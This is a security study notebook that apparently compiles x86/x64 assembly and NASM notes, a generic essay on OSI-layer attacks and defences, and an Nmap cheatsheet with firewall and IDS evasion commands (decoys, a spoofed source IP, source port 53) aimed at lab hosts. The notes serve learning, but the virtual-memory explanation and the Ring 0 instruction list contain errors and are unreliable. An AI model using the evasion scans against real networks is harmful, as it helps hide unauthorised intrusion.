  • CMP: Compare the values of the two specified operands, setting the condition codes in the machine status word appropriately. It will put a 0 or a 1 in the EFLAGS register bit for this matter. After this instruction the conditional JMP instruction will check this EFLAGS bit and do their thing, namely:
  • JE: jump when equal
  • JNE: jump when not equal
  • JZ: jump when last result was zero
  • JG: jump when greater than
  • JGE: jump when greater than or equal to
  • JL: jump when less than
  • JLE: jump when less than or equal to

Additional Mnemonics:

  • LEAVE: is used as subroutine suffix to return stack pointer to base pointer (cleaning the stack) just before RET instruction.
  • PUSHA and POPA: is the same as PUSH and POP, but putting and getting all the general purpose registers into and from the stack, instead of just the one passed by argument.
  • LOOP: its a conditional jump to make loops with RCX as a counter to 0.

Memory Layout

images/1022-3.png

Other program segments

You may have noticed in the the diagram above that in addition to the stack and heap, there are separate, distinct regions of memory in the program's address space that I drew, namely the bss, data and text segments. If you recall the Hello, world section example, you might also have realized that there are labels in that example that line up with the names of these program segments.

Well, that's no coincidence; it turns out that is what is being defined in those regions, and these regions exist as a result of the PE executable file format, which is a standardized format that Microsoft dictates for how executable's memory segments should be arranged in order for the operating system's loader to be able to load it into memory.

Crossing the platforms

On Linux/OS X, the executable file format is known as the Executable and Linkable Format, or ELF. While there are differences between it and the PE file format used by Windows, the segments we'll be dealing with here exist on both, and function the same way on both. On a fun note, Fabian Giesen has an amusing tweet regarding the name.

Let's go over what each of the major segments are for.

  • Block Started by Symbol (BSS): This segment of memory is meant for variables that are uninitialzed (e.g. int a;). The name, as is the case with many things in assembly, has a very long history.
  • Data segment: This segment of memory contains constants or initialized data (e.g. int a \= 5; or const int a \= 5;). This is fairly straightfoward.
  • Text segment, also known as the code segment: This contains the actual assembly instructions, hence the name.

Virtual Memory Address System

If you've never heard of the term virtual memory before, this section is for you. Basically, every time you've stepped into a debugger and seen a hexadecimal address for your pointers, your stack variables, or even your program itself, this has all been a lie; the addresses you see there are not the actual addresses that the memory resides at.

What actually happens here is that every time a user-mode application asks for an allocation of memory by the operating system, whether from calling HeapAlloc, reserving it on the stack through int a[5] or even doing it in assembly, the operating system does a translation from a physical address of a real, physical addressable location on the hardware to a virtual address, which it then provides you with to perform your operations as you deem fit. Processes are mapped into a virtual address space, and memory is reserved by the operating system for that space, but only in virtual memory; the physical hardware could still have memory unmapped to that address space until the user-mode process actually requests an allocation.

If the memory is already reserved and available for use, the CPU translates the physical addresses into virtual addresses and hands them back to the user-mode process for use. If the physical memory is not available yet (i.e. perhaps because the CPU caches are full and we now need to use the DDR RAM sticks' storage instead), the OS will page in memory from whatever available physical memory is available, whether that be DDR RAM, the hard drive, etc.

The translation of the physical memory addresses of the hardware to virtual memory addresses that the operating system can distribute to applications is done using a special piece of hardware known as the Memory Management Unit, or MMU. As you might expect, if every single time a program requested memory required a corresponding translation operation, this might prove costly. Hence, there is another specialized piece of hardware known as the Translation Look-aside Buffer, or TLB cache. That also sits on the CPU and caches the result of previous addresses translations, which it then hands to the operating system, which in turn hands it to the application requesting the allocation.

images/1022-4.png

Calling Conventions

images/1022-5.png

images/1022-6.png

EFLAGS register

images/1022-7.png

x64

Basically the same but registers start with R instead of with E: RAX, RBX, RSP, RIP,...

In RFLAGS we basically use the same as EFLAGS because 32-63 bits are reserved.

Calling Convention

Recall that some calling conventions require parameters to be passed on the stack on x86. On x64, most calling conventions pass parameters through registers. For example, on Windows x64, there is only one calling convention and the first four parameters are passed through RCX, RDX, R8, and R9; the remaining are pushed on the stack from right to left. On Linux, the first six parameters are passed on RDI, RSI, RDX, RCX, R8, and R9.

ntdll.dll:

*************************************************************

* FUNCTION

*************************************************************

int __fastcall NtAllocateVirtualMemory (int pHandle , voi

assume GS_OFFSET \= 0xff00000000

int EAX:4 \<RETURN>

int ECX:4 pHandle

void * RDX:8 allocAddr

int R8D:4 some

void * R9:8 allocSize

int Stack[0x28]:4 mem

int Stack[0x30]:4 page

Bits, bytes and sizes

At this point, it's also probably a good idea to give a quick refresher for the non-Win32 API programmers out there who might not be as familiar with the nomenclature of the Windows data types.

Bit: 0 or 1. The smallest addressable form of memory.

Nibble: 4 bits.

Byte: 8 bits. In C/C++, you might be familiar with the term char.

WORD: On the x64 architecture, the word size is 16 bits. In C/C++, you might be more familiar with the term short.

DWORD: Short for “double word”, this means 2 × 16 bit words, which means 32 bits. In C/C++, you might be more familiar with the term int.

QWORD: quad word, this is for 64 bits. NASM syntax as well.

oword: Short for “octa-word” this means 8 × 16 bit words, which totals 128 bits. This term is used in NASM syntax.

yword: Also used only in NASM syntax, this refers to 256 bits in terms of size (i.e. the size of ymm register.)

float: This means 32 bits for a single-precision floating point under the IEEE 754 standards.

double: This means 64 bits for a double-precision floating point under the IEEE 754 standard. This is also referred to as a quad word.

Pointers: On the x64 ISA, pointers are all 64-bit addresses.

Ring 0

There are certain instructions that will only work with Ring 0 intel privilege level.

  1. HLT (Halt)
  2. MOV to/from Control Registers (CR0, CR4)
  3. IN/OUT (Input/Output)
  4. CLI/STI
  5. LGDT/LDT (Load Global/Local Descriptor Table)
  6. SMI (System Management Interrupt)

Hello world in ASM

https://neetx.github.io/posts/windows-asm-hello-world/

test.asm

; wsl nasm -f win64 test.asm
; link test.obj /defaultlib:Kernel32.lib /subsystem:console /entry:main /LARGEADDRESSAWARE:NO /out:test.exe
global main
; kernel32 functions to use in printcustom
extern GetStdHandle
extern WriteFile

section .text
printcustom:
    push    rbp
    mov     rbp, rsp                
    sub     rsp, 40                 ; shadow space added to stack section
    ; this would be optional in case of stack variables
    ; but it is mandatory for Windows x64 calling convention when you call more than 4 arguments

    mov     r8, [rdx]               ; store 2nd argument into 3rd argument to WriteFile
    mov     rdx, rcx                ; store 1st argument into 2nd argument to WriteFile

    mov     rcx, 0fffffff5h
    call    GetStdHandle

    mov     rcx, rax                ; 1st argument StdOut Handle
    mov     r9, BytesWritten        ; 4th argument bytes written
    mov     dword [rsp + 32], 00h   ; 5th argumnet using shadow space
    call    WriteFile

    ;add     rsp, 40                 ; clear shadow space
    ;mov     rsp, rbp                ; restores base pointer into stack pointer
    leave                           ; with leave we can achieve both previous instructions
    ret                             ; pop the stack (to find previous rip in main) and puts it in rip
main:
    mov     rcx, Buffer
    mov     rdx, BytesToWrite
    call    printcustom             ; call pushes rip into the stack and sets location as current rip
    mov     rcx, newline
    mov     rdx, newlineBytes
    call    printcustom
    mov     rcx, Buffer2
    mov     rdx, BytesToWrite2
    call    printcustom
ExitProgram:
    xor     eax, eax
    ret

section .data
Buffer:        db    'Hello, World!', 00h
BytesToWrite:  dq    0eh
Buffer2:       db    0x40,0x41,0x42,0x00         ; msfvenom -f powershell
BytesToWrite2: dq    4h
newline:       db    0ah
newlineBytes:  dq    1h

section .bss
BytesWritten: resd  01h

Assembly tool

When assembling with NASM, the -f win64 option plays a crucial role in how the output file is structured. Here's a breakdown of what happens:

Binary Format (-f bin)

  • In binary format (-f bin), NASM generates a simple object file containing only the raw machine code instructions you wrote in your assembly code file (.asm).
  • This format lacks information about sections, headers, or symbols needed for linking and creating an executable file.
  • It's often used for specific purposes like embedding raw machine code into another program or for learning the low-level instruction encoding.

Win64 Format (-f win64)

  • When you use -f win64, NASM assembles the code for the 64-bit Windows platform (x86-64) and creates an object file in the Portable Executable (PE) format.
  • This format is much richer than the binary format and includes several crucial elements:
  • Sections: Your assembly code is organized into different sections (like .text for code, .data for data) based on their purpose.
  • Headers: The PE file contains headers that provide information about the file organization, entry point, dependencies, etc.
  • Symbols: NASM can optionally include symbol information for functions and variables defined in your code, which is helpful for debugging and linking.
  • This PE format object file can then be linked with other object files and libraries to create a final executable file (.exe) or a Dynamic-Link Library (DLL) on Windows.

Key Points:

-f bin provides a very basic object file with just raw instructions.

-f win64 creates a PE format object file suitable for linking and generating Windows executables or DLLs.

While -f win64 generates sections, it still doesn't include the .idata section at this stage because import information is determined during linking.

Import Information and .idata in ELF:

  • Just like with -f win64, using -f elf64 during assembly won't create the .idata section yet.
  • The ELF format also has a mechanism for handling external library dependencies, but it uses a different structure compared to PE.
  • In ELF, the linker is responsible for generating the import information and its corresponding sections based on the program's dependencies on shared libraries. These sections might include names like .got (Global Offset Table) and .plt (Procedure Linkage Table) which play a similar role to the IAT in PE format.

Examples:

Assembling into shellcode:

nasm test.asm (does not work with external names, file has to specify BITS 32 or BITS 64)

This can be useful for study, get opcodes and dissassemble bytes:

ndisasm -b 64 test (-b flag depends on the BITS 64 instruction of the assembly code)

Assembling into obj (with PE headers):

C:\Users\nobody\Desktop\assembly>nasm -f win64 test.asm

Linking (setting up IAT in the .idata section):

C:\Users\nobody\Desktop\assembly>link test.obj "C:\Program Files (x86)\Windows Kits\10\lib\10.0.18362.0\um\x64\kernel32.lib" /subsystem:console /entry:main /LARGEADDRESSAWARE:NO /out:test.exe

also: link test.obj /defaultlib:Kernel32.lib /subsystem:console /entry:main /LARGEADDRESSAWARE:NO /out:test.exe

you can also link and provide permissions to specific sections (in addition to other flags, as well)

link test.obj /entry:main /section:.custom,RWE /out:main.exe

https://academy.hackthebox.com/module/227/section/2493

Tools:

link is included into VS C/C++ toolchain

[nasm] (https://nasm.us) or using wsl, linux or macOS

Linux

In linux you can link with ld command in the binutils package

# Assemble the .asm file to an object file

nasm -f elf64 test.asm -o test.o

# Link the object file to create executable

ld test.o -o main

# Assemble 32bit

nasm -f elf32 test.asm -o test.o

# Link

ld -m elf_i386 test.o -o main

full link:

ld test.o -o main --entry=main --section-flags .custom=alloc,write,execute

???

Network Security: Attacks and Mitigations Across the OSI Model Layers

The Open Systems Interconnection (OSI) model provides a conceptual framework essential for understanding how network attacks target different aspects of communication systems. This seven-layer model serves as both a foundation for implementing network protocols and a structure for analyzing security vulnerabilities that exist at each level. Understanding these layers and their associated attack vectors enables security professionals to implement comprehensive protection strategies that safeguard networks against increasingly sophisticated threats. Network security requires attention to each layer of the OSI model, as attackers continuously develop methods to exploit vulnerabilities throughout the entire communication stack.

OSI Model Layers

The OSI Model Structure and Importance

The OSI model, developed and recognized by the International Organization for Standardization in the 1980s, provides a standardized way of telecommunication between computer nodes regardless of their hardware and software architectures. This conceptual framework divides network communications into seven distinct layers, each handling specific functions in the data transmission process. The model enables systematic troubleshooting, standardized component development, and most importantly for security purposes, a structured approach to identifying vulnerabilities. Understanding this layered approach is crucial because security compromises can occur at any level, from physical infrastructure to application interfaces, requiring different mitigation strategies for each layer. The comprehensive nature of the OSI model allows security professionals to implement defense-in-depth strategies that address vulnerabilities at multiple levels simultaneously, significantly enhancing overall network security posture.

OSI Model and Attacks

Physical Layer (Layer 1) Attacks and Mitigations

The physical layer, the first and most tangible layer of the OSI model, concerns itself with the transmission and reception of unstructured raw bit streams over physical media. This layer includes hardware components such as cables, connectors, repeaters, network adapters, and the physical specifications that govern them. At this foundational level, attackers focus on gaining unauthorized physical access to network infrastructure, potentially compromising the entire communication system before data even begins its journey through higher layers.

Physical Layer Attack Vectors

The most common attacks at the physical layer involve interception and eavesdropping, where malicious actors gain physical access to network infrastructure to tap cables or use electromagnetic signals to capture data. This passive attack method allows attackers to collect sensitive information without altering communications, making detection particularly challenging. Another prevalent attack involves intentional physical damage to cables, devices, or other network hardware, causing service disruptions that can lead to significant operational downtime and potentially create opportunities for further exploitation during recovery efforts. Unauthorized access to network facilities represents another serious threat, as attackers who gain physical entry to server rooms or wiring closets can install rogue devices, create backdoors, or directly compromise network equipment.

Physical Layer Security Measures

To mitigate physical layer attacks, organizations must implement robust physical security controls that restrict access to network infrastructure. These measures include secure facilities with proper access controls, such as electronically monitored entry points, security cameras, and personnel authentication systems. Network cables should be protected within conduits or secure pathways, with server equipment housed in locked cabinets or dedicated rooms accessible only to authorized personnel. Regular physical inspections of network infrastructure help identify unauthorized devices or tampering attempts before they can cause significant damage. Additionally, implementing tamper-evident seals on network equipment cabinets and junction boxes provides visual indication of unauthorized access attempts, enhancing physical security monitoring capabilities.

The data link layer provides node-to-node data transfer between directly connected devices and handles error correction from the physical layer. This layer encompasses protocols like Ethernet for local area networks and Point-to-Point Protocol (PPP) for direct connections. The data link layer plays a crucial role in network security as it manages MAC addresses and establishes the foundation for local network communications, making it an attractive target for attackers seeking to gain initial network access.

ARP Spoofing and MAC Attacks

Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning, represents one of the most common attacks at this layer. In these attacks, hackers manipulate the mapping between IP addresses and MAC addresses on a local area network, tricking one device into sending messages to the attacker instead of the intended recipient. This manipulation allows the attacker to intercept data, including sensitive information such as passwords and credit card details. ARP spoofing occurs on local area networks using the Address Resolution Protocol, which connects dynamic IP addresses to physical machine addresses (MAC addresses). When a host wants to communicate with another on the same network, it sends an ARP request and receives a response containing the MAC address of the destination host, which it then stores in its ARP cache for future reference.

MAC spoofing represents another significant threat at the data link layer, where attackers alter their device's MAC address to impersonate another network device. This technique allows malicious actors to bypass MAC address filtering systems and gain unauthorized access to restricted networks. Similarly, VLAN hopping attacks exploit vulnerabilities in VLAN tag handling, enabling attackers to gain unauthorized access to traffic from other VLANs that would normally remain isolated from their network segment. These attacks can lead to serious security breaches as they circumvent fundamental network segmentation controls designed to contain sensitive communications.

Organizations can protect against ARP spoofing through several effective measures. Implementing packet-filtering firewalls represents a straightforward approach, as these systems flag data packets from outside the network that claim to originate from inside, helping detect spoofing attempts. Dynamic ARP inspection on network switches validates ARP packets by comparing them against a trusted database of MAC-IP bindings, preventing the use of falsified ARP messages. DHCP snooping works in conjunction with dynamic ARP inspection to build and maintain the database of valid MAC-IP bindings, creating a more robust defense against ARP-based attacks.

For MAC spoofing prevention, implementing port security on network switches restricts the number of MAC addresses permitted on each port and can lock down ports to specific authorized MAC addresses. Network access control systems using 802.1X authentication require devices to authenticate before joining the network, adding another layer of security beyond simple MAC address validation. To prevent VLAN hopping attacks, network administrators should disable automatic trunking negotiations on switch ports, properly configure native VLANs, and implement VLAN access control lists that restrict traffic between different network segments according to security policy requirements.

Network Layer (Layer 3) Attacks and Mitigations

The network layer handles packet routing between different networks, including addressing, routing protocols, and path determination. This layer plays a critical role in connecting disparate networks and enabling internet communications, making it a prime target for attacks that aim to disrupt connectivity or gain unauthorized access to remote systems. Network layer attacks often leverage the inherent trust relationships between interconnected systems to bypass perimeter defenses.

IP spoofing represents a significant attack vector at the network layer, involving the falsification of source IP addresses in packet headers to impersonate trusted sources. This deception technique can fool receiving systems into believing communications originate from legitimate, trusted network entities. Hackers alter address data within the IP header, which can enable them to bypass IP-based authentication mechanisms and potentially launch other attacks like distributed denial of service campaigns. For successful IP spoofing, attackers typically need a trusted connection between devices, a controlled IP address that can be ignored, and the technical expertise to intercept and modify packet headers. The consequences of successful IP spoofing attacks include the inability to trace the attack back to its true source and challenges in implementing effective countermeasures since blocking the apparent source IP would impact legitimate systems.

Other common network layer attacks include routing attacks, where attackers manipulate routing protocols to redirect traffic through paths under their control, and ICMP-based attacks like ping floods or Smurf attacks that exploit the Internet Control Message Protocol to overwhelm target systems. Network layer attacks can be particularly devastating because they can affect entire network segments rather than individual hosts, potentially disrupting communications for numerous systems simultaneously. The distributed nature of routing infrastructure makes detecting and mitigating these attacks especially challenging, as they may originate from multiple sources or leverage legitimate network protocols in unexpected ways.

Network Layer Protection Strategies

To counter IP spoofing and other network layer attacks, organizations should implement ingress and egress filtering in accordance with best practices like RFC 2827. Ingress filtering blocks incoming packets with source addresses that don't match the expected network ranges, while egress filtering prevents outgoing packets with spoofed source addresses from leaving the network. Implementing RPF (Reverse Path Forwarding) checks on routers and firewalls verifies that incoming packets arrive on expected interfaces based on routing information, helping identify spoofed traffic. Authentication protocols that don't rely solely on IP addresses add another essential layer of security, requiring additional verification beyond network addressing.

Network monitoring systems that can detect abnormal traffic patterns serve as an important component in the defense against network layer attacks. These systems establish baselines of normal network behavior and alert security teams when unusual patterns emerge, potentially indicating an attack in progress. Implementing IPsec protocols for authentication and encryption of IP packets ensures data integrity and authenticity, protecting communications even if attackers manage to intercept traffic. Regular updates to routing infrastructure, including routers and switches, helps address known vulnerabilities that could be exploited in network layer attacks, maintaining a more robust security posture against evolving threats.

Transport Layer (Layer 4) Attacks and Mitigations

The transport layer ensures complete data transfer by providing end-to-end communication services between applications on different hosts. This layer handles connection establishment, reliability, flow control, and error recovery, making it responsible for guaranteeing that data reaches its destination correctly and in the proper sequence. Common protocols at this layer include TCP (Transmission Control Protocol) and UDP (User Datagram Protocol), each with distinct security considerations due to their different operational characteristics.

SYN Flood and TCP Session Attacks

SYN flooding represents one of the most prevalent transport layer attacks, functioning as a form of Denial of Service (DoS) that exploits the TCP three-way handshake process. In this attack method, the perpetrator sends numerous SYN packets to the target server but never completes the handshake by sending the final ACK message. This malicious technique leaves the server with a multitude of half-open connections, consuming critical system resources until the system becomes unresponsive to legitimate traffic requests. A notable example of SYN flood implementation occurred with the Mirai Botnet, which compromised over 600,000 Internet of Things devices and launched devastating DDoS attacks against high-profile targets including KrebsOnSecurity, Lonestar cell, and Dyn, a widely used DNS provider.

TCP session hijacking represents another significant transport layer threat, where attackers intercept and take over established connections between legitimate parties. By predicting sequence numbers and injecting malicious packets into the communication stream, attackers can assume control of authorized sessions without the need to authenticate. Session hijacking often follows other attack types like ARP spoofing, which enables the attacker to position themselves between communicating parties. The consequences of successful transport layer attacks can range from temporary service unavailability to unauthorized access to sensitive systems and data, making effective mitigation strategies essential for maintaining network security and operational continuity.

Transport Layer Defense Mechanisms

Organizations can implement several effective measures to protect against SYN flood attacks and other transport layer threats. Installing an Intrusion Prevention System (IPS) provides a critical first line of defense, as these systems can detect anomalous traffic patterns and block malicious packets before they overwhelm target servers. Properly configured firewalls contribute significantly to transport layer security by filtering suspicious traffic and implementing rate-limiting functions that prevent flood attacks from consuming all available resources. Deploying up-to-date networking equipment also enhances protection, as modern hardware often includes built-in safeguards against common DoS attacks, including SYN floods.

SYN cookies represent another powerful defense mechanism against SYN flood attacks. This technique allows servers to create and verify connection authenticity without allocating resources until the TCP handshake completes successfully, effectively preventing resource exhaustion. Commercial monitoring tools provide real-time visibility into network traffic patterns and can trigger automated responses when attack signatures are detected. For protection against session hijacking, implementing end-to-end encryption through protocols like TLS (Transport Layer Security) ensures that even if attackers intercept communications, they cannot meaningfully interpret or modify the encrypted data. Additionally, configuring shorter session timeouts reduces the window of opportunity for attackers attempting to hijack active sessions, further enhancing transport layer security.

Session Layer (Layer 5) Attacks and Mitigations

The session layer establishes, manages, and terminates connections between applications on different systems. It handles session checkpointing, recovery, and synchronization, enabling applications to resume communications from known points if interrupted. Although not explicitly implemented in many modern networking stacks, session functionality remains critical for maintaining stateful communications between networked applications and services.

Session Hijacking and Man-in-the-Middle Attacks

Session hijacking at this layer involves the unauthorized takeover of legitimate communication sessions between applications. Attackers typically target authentication tokens, cookies, or session identifiers to assume control of established sessions without needing to provide valid credentials. Once an attacker successfully hijacks a session, they can perform actions with the privileges of the legitimate user, potentially accessing sensitive information or executing unauthorized commands. Session attacks often exploit vulnerabilities in session management implementations, such as predictable session identifiers, insufficient timeout mechanisms, or insecure storage of session data.

Man-in-the-Middle (MITM) attacks represent another significant threat at the session layer, where attackers secretly position themselves between communicating parties. In these attacks, the malicious actor intercepts traffic, breaks the authentication chain, and impersonates the endpoints seamlessly, allowing them to eavesdrop on or modify communications. The main objective of MITM attacks is to steal the session and thereby gain access to the information being transmitted between parties. These attacks can be particularly dangerous because they may remain undetected while allowing attackers to capture sensitive data like credentials, financial information, or proprietary communications that appear to flow normally between legitimate endpoints.

Session Layer Security Approaches

To protect against session layer attacks, organizations should implement robust session management practices that address multiple vulnerability points. Generating cryptographically strong, random session identifiers prevents attackers from guessing valid session tokens, while implementing proper session timeouts ensures that inactive sessions cannot be exploited. Regenerating session identifiers after authentication events (session fixation prevention) blocks attempts to establish sessions before user authentication and then maintain access after the user logs in. Binding sessions to additional contextual information like IP addresses or user-agent strings creates additional verification factors that make session hijacking more difficult.

For MITM attack prevention, implementing end-to-end encryption for all communications ensures data confidentiality and integrity even if traffic is intercepted. Transport Layer Security (TLS) with proper certificate validation represents the standard approach for securing session layer communications. Certificate pinning further enhances security by binding specific certificates or public keys to particular hosts, preventing attackers from using fraudulent certificates even if they manage to compromise certificate authorities. Multi-factor authentication adds another critical layer of protection by requiring additional verification beyond session tokens, making it substantially more difficult for attackers to fully compromise accounts even if they successfully intercept session information.

Presentation Layer (Layer 6) Attacks and Mitigations

The presentation layer handles data translation, encryption, and compression to ensure information can be properly interpreted by the application layer. It manages character encoding, data compression, and cryptographic operations that prepare data for application processing. This layer plays a critical role in ensuring data compatibility between different systems while also providing security services that protect information during transmission.

Encryption and Compression Vulnerabilities

Attacks at the presentation layer typically target encryption implementations or data compression mechanisms. Vulnerabilities in cryptographic protocols like SSL/TLS can be exploited to decrypt supposedly secure communications or downgrade connections to less secure configurations. Historical examples include the POODLE, Heartbleed, and BEAST attacks that compromised TLS/SSL implementations, allowing attackers to access protected data. These vulnerabilities often arise from implementation flaws, outdated algorithms, or protocol design weaknesses that attackers can leverage to bypass encryption protections.

Data compression attacks represent another category of presentation layer vulnerabilities, where compression algorithms can inadvertently leak information about encrypted data. Attacks like CRIME and BREACH exploit the way compression works to deduce the contents of encrypted communications through careful analysis of compressed packet sizes. These sophisticated attacks target the interaction between compression and encryption rather than breaking the encryption directly, demonstrating how seemingly beneficial features like compression can introduce unexpected security vulnerabilities. The technical complexity of cryptographic implementations makes this layer particularly susceptible to subtle implementation errors that might go undetected during security reviews but can be discovered and exploited by determined attackers.

Presentation Layer Protection Methods

Defending against presentation layer attacks requires diligent management of cryptographic implementations and careful configuration of security features. Organizations should regularly update encryption libraries and protocols to address known vulnerabilities, ensuring they implement the latest secure versions of TLS while disabling older, vulnerable protocol versions like SSLv3. Implementing perfect forward secrecy ensures that even if encryption keys are compromised in the future, past communications remain protected, significantly enhancing long-term data security. Properly configured cipher suites that prioritize strong encryption algorithms while disabling weak or deprecated options help maintain robust cryptographic protection.

For compression-related vulnerabilities, organizations should carefully evaluate the security implications of enabling compression for sensitive data, particularly in conjunction with encryption. Implementing HTTP response headers like Content-Security-Policy provides additional protection against certain types of attacks by controlling how resources are loaded and executed. Regular security assessments specifically targeting cryptographic implementations help identify potential vulnerabilities before they can be exploited by attackers. By maintaining awareness of emerging threats to encryption and compression technologies, security teams can proactively address potential vulnerabilities in presentation layer implementations before they lead to security breaches.

Application Layer (Layer 7) Attacks and Mitigations

The application layer represents the highest level of the OSI model and provides network services directly to end-user applications. This layer encompasses protocols like HTTP, FTP, SMTP, and DNS that enable specific network functions and user interactions. As the most visible and accessible layer for end users, the application layer presents numerous attack vectors that target specific application vulnerabilities and protocol weaknesses.

DNS Spoofing and Web Application Attacks

DNS spoofing, also known as DNS cache poisoning, involves manipulating the Domain Name System resolution process to redirect users to malicious or fraudulent websites. In these attacks, perpetrators intercept and modify DNS responses, exploiting vulnerabilities in DNS servers or routers to inject false DNS records into the DNS cache. When users attempt to access legitimate websites, their devices consult the poisoned DNS cache and receive the attacker's manipulated IP address, leading them to malicious sites that often appear identical to the legitimate destinations they intended to visit. These attacks can facilitate credential theft, malware distribution, or other malicious activities by exploiting users' trust in familiar websites.

Web application attacks constitute another major category of application layer threats, including cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF). In XSS attacks, malicious scripts are injected into trusted websites and executed in users' browsers, potentially stealing cookies, session tokens, or other sensitive information. SQL injection involves inserting malicious SQL code into application queries, potentially allowing attackers to view, modify, or delete database contents without proper authorization. These application-specific attacks exploit input validation weaknesses, improper output encoding, or insufficient security controls within web applications, potentially compromising both application functionality and data security.

Application Layer Security Solutions

To mitigate DNS spoofing risks, organizations should implement Domain Name System Security Extensions (DNSSEC), which add digital signatures to DNS records, ensuring data integrity and authenticity by validating the legitimacy of DNS responses. Configuring networks to use secure DNS resolvers from reputable providers that prioritize security and employ anti-spoofing measures provides another layer of protection against DNS attacks. Regular updates and patches for DNS servers and related software address vulnerabilities that could be exploited for spoofing attacks. Source port randomization makes it more difficult for attackers to predict and inject malicious responses, while network monitoring and intrusion detection systems help identify abnormal DNS traffic patterns that might indicate ongoing spoofing attempts.

For web application security, implementing a defense-in-depth approach addresses multiple vulnerability types simultaneously. Input validation and sanitization on both client and server sides prevent malicious data from being processed by applications. Output encoding ensures that user-supplied content is properly rendered without executing embedded code. Web application firewalls (WAFs) provide specialized protection against common attack patterns like SQL injection and XSS by analyzing and filtering HTTP requests before they reach protected applications. Security headers such as Content-Security-Policy restrict the sources of executable scripts, while proper session management practices prevent session hijacking and fixation attacks. Regular security assessments, including both automated scanning and manual penetration testing, help identify and remediate application vulnerabilities before they can be exploited by attackers.

Comprehensive Security Strategies Across the OSI Model

Effective network security requires a holistic approach that addresses vulnerabilities at all layers of the OSI model through coordinated protection mechanisms. Organizations must implement defense-in-depth strategies that provide multiple layers of security controls throughout their network architectures. This multi-layered approach ensures that if one security measure fails, others remain in place to prevent or limit potential damage. The interconnected nature of the OSI layers means that vulnerabilities at one level can often enable attacks at other levels, necessitating comprehensive protection strategies that address the entire communication stack.

Implementing Defense in Depth

Regular security audits and penetration testing play vital roles in maintaining effective protection across all OSI layers. These assessments should systematically evaluate security controls at each layer, identifying weaknesses before they can be exploited by actual attackers. Penetration testing mimics potential attacks through authorized simulations, triggering safety measures before real malicious attacks occur and providing valuable insights into security effectiveness. This proactive approach helps organizations understand their security posture from an attacker's perspective and prioritize remediation efforts based on realistic risk assessments.

Employee training and awareness represents another critical component of comprehensive security, as human factors often constitute the weakest link in security systems. Regular training ensures staff understand security risks and follow proper protocols when using network resources. Routine security checks and continuous monitoring provide ongoing visibility into network operations, enabling rapid detection and response to potential security incidents before they escalate into major breaches. By implementing security controls at every layer of the OSI model and maintaining vigilance through regular assessments and monitoring, organizations can develop robust security postures capable of addressing diverse and evolving threat landscapes.

Conclusion

Network security through the lens of the OSI model provides a structured approach to understanding and addressing the complex landscape of cyber threats targeting modern networks. Each layer presents unique vulnerability points that attackers can exploit, requiring specific mitigation strategies tailored to the characteristics and functions of that layer. From physical security measures protecting infrastructure to application-layer controls validating user inputs and securing communications, a comprehensive security program must address vulnerabilities throughout the entire network stack.

The interconnected nature of network communications means that security weaknesses at one layer often enable attacks at other layers, highlighting the importance of a defense-in-depth approach that implements multiple protections at each level. As noted in security research, "preventing an attack before it happens is the smartest move in the cyber field". This preventive mindset, coupled with regular security assessments, continuous monitoring, and prompt remediation of identified vulnerabilities, forms the foundation of effective network security practices. Organizations that develop security programs aligned with the OSI model can better understand attack vectors, implement appropriate countermeasures, and maintain more resilient network environments in the face of evolving cyber threats.

As attack techniques continue to evolve in sophistication, security practices must likewise advance to address emerging threats across all OSI layers. The proactive implementation of security controls, regular validation through penetration testing, and ongoing security monitoring create the framework necessary for adaptive network defense. By understanding the OSI model's structure and the security implications at each layer, organizations can develop comprehensive protection strategies that address both current and emerging threats to their network infrastructures, ensuring the confidentiality, integrity, and availability of critical systems and data.

NMAP Cheatsheet

Nmap's TCP ACK scan (-sA) method is much harder to filter for firewalls and IDS/IPS systems than regular SYN (-sS) or Connect scans (sT) because they only send a TCP packet with only the ACK flag. When a port is closed or open, the host must respond with an RST flag. Unlike outgoing connections, all connection attempts (with the SYN flag) from external networks are usually blocked by firewalls. However, the packets with the ACK flag are often passed by the firewall because the firewall cannot determine whether the connection was first established from the external network or the internal network.

Decoys There are cases in which administrators block specific subnets from different regions in principle. This prevents any access to the target network. Another example is when IPS should block us. For this reason, the Decoy scanning method (-D) is the right choice. With this method, Nmap generates various random IP addresses inserted into the IP header to disguise the origin of the packet sent. With this method, we can generate random (RND) a specific number (for example: 5) of IP addresses separated by a colon (:). Our real IP address is then randomly placed between the generated IP addresses. In the next example, our real IP address is therefore placed in the second position. Another critical point is that the decoys must be alive. Otherwise, the service on the target may be unreachable due to SYN-flooding security mechanisms.

Scan by Using Decoys Firewall and IDS/IPS Evasion forhau@htb[/htb]$ sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5

Scan by Using Different Source IP Firewall and IDS/IPS Evasion forhau@htb[/htb]$ sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0

DNS Proxying By default, Nmap performs a reverse DNS resolution unless otherwise specified to find more important information about our target. These DNS queries are also passed in most cases because the given web server is supposed to be found and visited. The DNS queries are made over the UDP port 53. The TCP port 53 was previously only used for the so-called "Zone transfers" between the DNS servers or data transfer larger than 512 bytes. More and more, this is changing due to IPv6 and DNSSEC expansions. These changes cause many DNS requests to be made via TCP port 53.

However, Nmap still gives us a way to specify DNS servers ourselves (--dns-server ,). This method could be fundamental to us if we are in a demilitarized zone (DMZ). The company's DNS servers are usually more trusted than those from the Internet. So, for example, we could use them to interact with the hosts of the internal network. As another example, we can use TCP port 53 as a source port (--source-port) for our scans. If the administrator uses the firewall to control this port and does not filter IDS/IPS properly, our TCP packets will be trusted and passed through.

SYN-Scan of a Filtered Port Firewall and IDS/IPS Evasion forhau@htb[/htb]$ sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53

Scanning Options

Nmap Option Description
10.10.10.0/24 Target network range.
-sn Disables port scanning.
-Pn Disables ICMP Echo Requests
-n Disables DNS Resolution.
-PE Performs the ping scan by using ICMP Echo Requests against the target.
--packet-trace Shows all packets sent and received.
--reason Displays the reason for a specific result.
--disable-arp-ping Disables ARP Ping Requests.
--top-ports= Scans the specified top ports that have been defined as most frequent.
-p- Scan all ports.
-p22-110 Scan all ports between 22 and 110.
-p22,25 Scans only the specified ports 22 and 25.
-F Scans top 100 ports.
-sS Performs an TCP SYN-Scan.
-sA Performs an TCP ACK-Scan.
-sU Performs an UDP Scan.
-sV Scans the discovered services for their versions.
-sC Perform a Script Scan with scripts that are categorized as "default".
--script SCRIPT Performs a Script Scan by using the specified scripts.
